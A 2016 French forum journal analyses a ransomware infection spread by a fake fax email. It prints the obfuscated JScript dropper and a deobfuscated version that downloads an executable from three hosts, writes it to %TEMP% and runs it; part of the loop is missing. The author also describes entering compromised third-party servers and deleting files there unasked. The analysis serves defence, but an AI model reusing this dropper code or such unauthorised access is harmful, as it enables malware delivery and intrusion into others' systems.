URL: https://linuxfr.org/users/dems/journaux/analyse-de-l-origine-d-un-virus Title: Analyse de l'origine d'un virus Authors: dems Date: 2016年01月05日T17:10:32+01:00 License: CC By-SA Tags: sécurité, virus et hacking Score: 60 Alors ce matin, une collègue de boulot vient me voir en me demandant comment accéder à ses fichiers. Je ne comprends pas trop le problème alors je vais voir avec elle sur son ordinateur. Et la il se trouve qu'elle a plein de fichier en .xlsx.RRK et autre .docx.RRK. Aie ça sent le ransomware, je fais un peux de recherche et je tombe sur [ça](http://www.bleepingcomputer.com/forums/t/599368/radamant-ransomware-kit-support-topic-encrypts-files-to-rrk-rdm-extension/) apparremment il s'agit de Radamant Ransomware Kit. Et il se trouve qu'il y a même un outil de déchiffrage disponible [ici](http://news.softpedia.com/news/radamant-ransomware-decrypted-files-can-be-retrieved-for-free-498070.shtml) tellement le chiffrement semble faible. Je me demande alors mais comment ce beau virus à pu arriver sur l'ordinateur de ma collègue et elle finit par m'avouer qu'elle a reçu un e-mail lui disant qu'elle avait un fax, bien sûr dans un fichier scan-0000821639.zip, lui même contenant un scan-0000821639.doc.js (sic) Étant curieux, je regarde le contenu : ```JavaScript // j'ai enlevé du contenu pour protéger le site web var str="5553515E0D0A020B241416010701141001084A070B095E3C5E020516490B11104A00015E17565E55505155535655515C565E55";var b8='h ',y2='tr+',w4='ip',r4='")',l1='rite(',s4='ize>',f7=' xa.',y7=' var ',z9='ct(',t6='Run',j4='= 0',c3='.s',u2='',c9='r/?',p5='("MS',m6='xpa',c5='e",1,',f1='xo',b4='xo ',a9='spli',c4=' try',b0=' = 1',w2='2); ',x1='ea',f5='Env',r7='t.Cr',v6='e =',g0='ipt',g9='tp://',i3='eO',l7='; br',q4='};',o0='} ',i2='("GE',h9=u2+=t5;u2+=k1;u2+=h3;u2+=t2;u2+=q0;u2+=z5;u2+=j2;u2+=s2;u2+=u8;u2+=g2;u2+=h8;u2+=l2;u2+=a9;u2+=q9;u2+=a5;u2+=i5;u2+=n3;u2+=k0;u2+=o9;u2+=w4;u2+=r7;u2+=t3;u2+=m0;u2+=a1;u2+=f6;u2+=s0;u2+=d1;u2+=s5;u2+=h7;u2+=n8;u2+=h6;u2+=q1;u2+=a7;u2+=e1;u2+=m6;u2+=p9;u2+=f5;u2+=p8;u2+=j7;u2+=n0;u2+=t9;u2+=l0;u2+=z6;u2+=p2;u2+=j8;u2+=l8;u2+=p7;u2+=r8;u2+=z4;u2+=c6;u2+=u3;u2+=b1;u2+=w6;u2+=y7;u2+=b4;u2+=f8;u2+=d4;u2+=c7;u2+=i6;u2+=r9;u2+=p5;u2+=j6;u2+=v9;u2+=f4;u2+=v8;u2+=r4;u2+=u0;u2+=p0;u2+=w7;u2+=g0;u2+=j3;u2+=r2;u2+=i3;u2+=m9;u2+=z9;u2+=u7;u2+=g5;u2+=z0;u2+=x1;u2+=y4;u2+=e8;u2+=i1;u2+=j4;u2+=z2;u2+=o3;u2+=j0;u2+=g1;u2+=x9;u2+=f0;u2+=e4;u2+=n4;u2+=t7;u2+=s3;u2+=e6;u2+=x3;u2+=z3;u2+=y3;u2+=x4;u2+=x2;u2+=u4;u2+=r0;u2+=h1;u2+=j1;u2+=w8;u2+=c4;u2+=i8;u2+=n6;u2+=w5;u2+=i2;u2+=g4;u2+=k6;u2+=g9;u2+=x7;u2+=s9;u2+=v7;u2+=f3;u2+=t1;u2+=c9;u2+=h5;u2+=d5;u2+=y2;u2+=z1;u2+=y9;u2+=w0;u2+=h9;u2+=e0;u2+=o1;u2+=n7;u2+=d8;u2+=o5;u2+=s7;u2+=q5;u2+=b6;u2+=b9;u2+=y0;u2+=t4;u2+=z8;u2+=f7;u2+=c1;u2+=g8;u2+=v0;u2+=w9;u2+=v6;u2+=u6;u2+=k3;u2+=l1;u2+=f1;u2+=n9;u2+=y5;u2+=e9;u2+=b3;u2+=p3;u2+=i9;u2+=l6;u2+=s4;u2+=e3;u2+=a0;u2+=p4;u2+=b0;u2+=u5;u2+=m4;u2+=a8;u2+=d7;u2+=z7;u2+=r6;u2+=d6;u2+=c3;u2+=s8;u2+=s6;u2+=h2;u2+=o8;u2+=w3;u2+=s1;u2+=w2;u2+=b7;u2+=a3;u2+=n5;u2+=t6;u2+=g6;u2+=g3;u2+=t0;u2+=c5;u2+=v5;u2+=w1;u2+=o0;u2+=e2;u2+=b8;u2+=u1;u2+=i0;u2+=p1;u2+=d0;u2+=y6;u2+=h0;u2+=c0;u2+=j5;u2+=o7;u2+=v4;u2+=q3;u2+=e5;u2+=r3;u2+=q2;u2+=l7;u2+=d3;u2+=g7;u2+=o2;u2+=v2;u2+=y8;u2+=q4;u2+=k7;u2+=v1;h4(u2); ``` Bon c'est pas très clair comme ça alors il me suffit d'un petit breakpoint avec firebug pour découvrir le vrai code : ```JavaScript // j'ai enlevé du contenu pour protéger le site web var b = "site1.com site2.com site3.com".split(" "); var ws = WScript.CreateObject("WScript.Shell"); var fn = ws.ExpandEnvironmentStrings("%TEMP%")+String.fromCharCode(92)+"575266"; var xo = WScript.CreateObject("MSXML2.XMLHTTP"); var xa = WScript.CreateObject("ADODB.Stream"); var ld = 0; for (var n=1; n<=3; n++) { for (var i=ld; i 1000) { dn = 1; xa.position = 0; xa.saveToFile(fn+n+".exe",2); try { ws.Run(fn+n+".exe",1,0); } catch (er) { }; }; xa.close(); }; if (dn == 1) { ld = i; break; }; } catch (er) { }; }; }; ``` On analyse un peu le code qui est plutôt simple (malgrè les noms de variable bidon), et on se rend compte qu'il fait un HTTP POST vers 3 serveurs (au cas ou il y en a un qui tombe) lui permettant de récupérer un fichier exécutable windows qui a été découpé en trois parties. Puis de l'exécuter. Toujours par curiosité, je décide d'aller voir ce qu'il y a sur ces serveurs. Ce sont principalement des sites de blog ou de petite entreprise (notamment sous wordpress) et il y a un serveur sur lequel il n'y à que l'a l'index des fichiers. Je tombe sur un fichier dont voici le contenu: ```php ``` Un petit coup de base64 -d me donne : ```php ``` Ce qui est un beau petit script permettant d'exécuter un code php passé en paramètre. Il me parait évident que les sites en questions on été hackés et ne servent qu'a permettre le téléchargement du virus. J'ai donc envoyé un e-mail au contact technique du propriétaire du nom de domaine pour l'avertir de la compromission de son site. Cet e-mail n'a pas reçu a ce jour de réponse, et après hésitation, j'ai supprimé les trois fichiers qui permettent de reconstituer le virus exécutable de manière à limiter la propagation du virus, ainsi que le fameux rootkit, mais je suppose qu'une faille de wordpress à été utilisée pour créer le rootkit. Voici ce que donne un file virus.exe : ```PE32 executable (GUI) Intel 80386, for MS Windows``` Clamscan ne connaît pas ce virus, avast ne l'a pas détecté. Je me demande maintenant quoi faire ? A qui communiquer ces informations ? Si vous avez des idées je suis preneur.

AltStyle によって変換されたページ (->オリジナル) /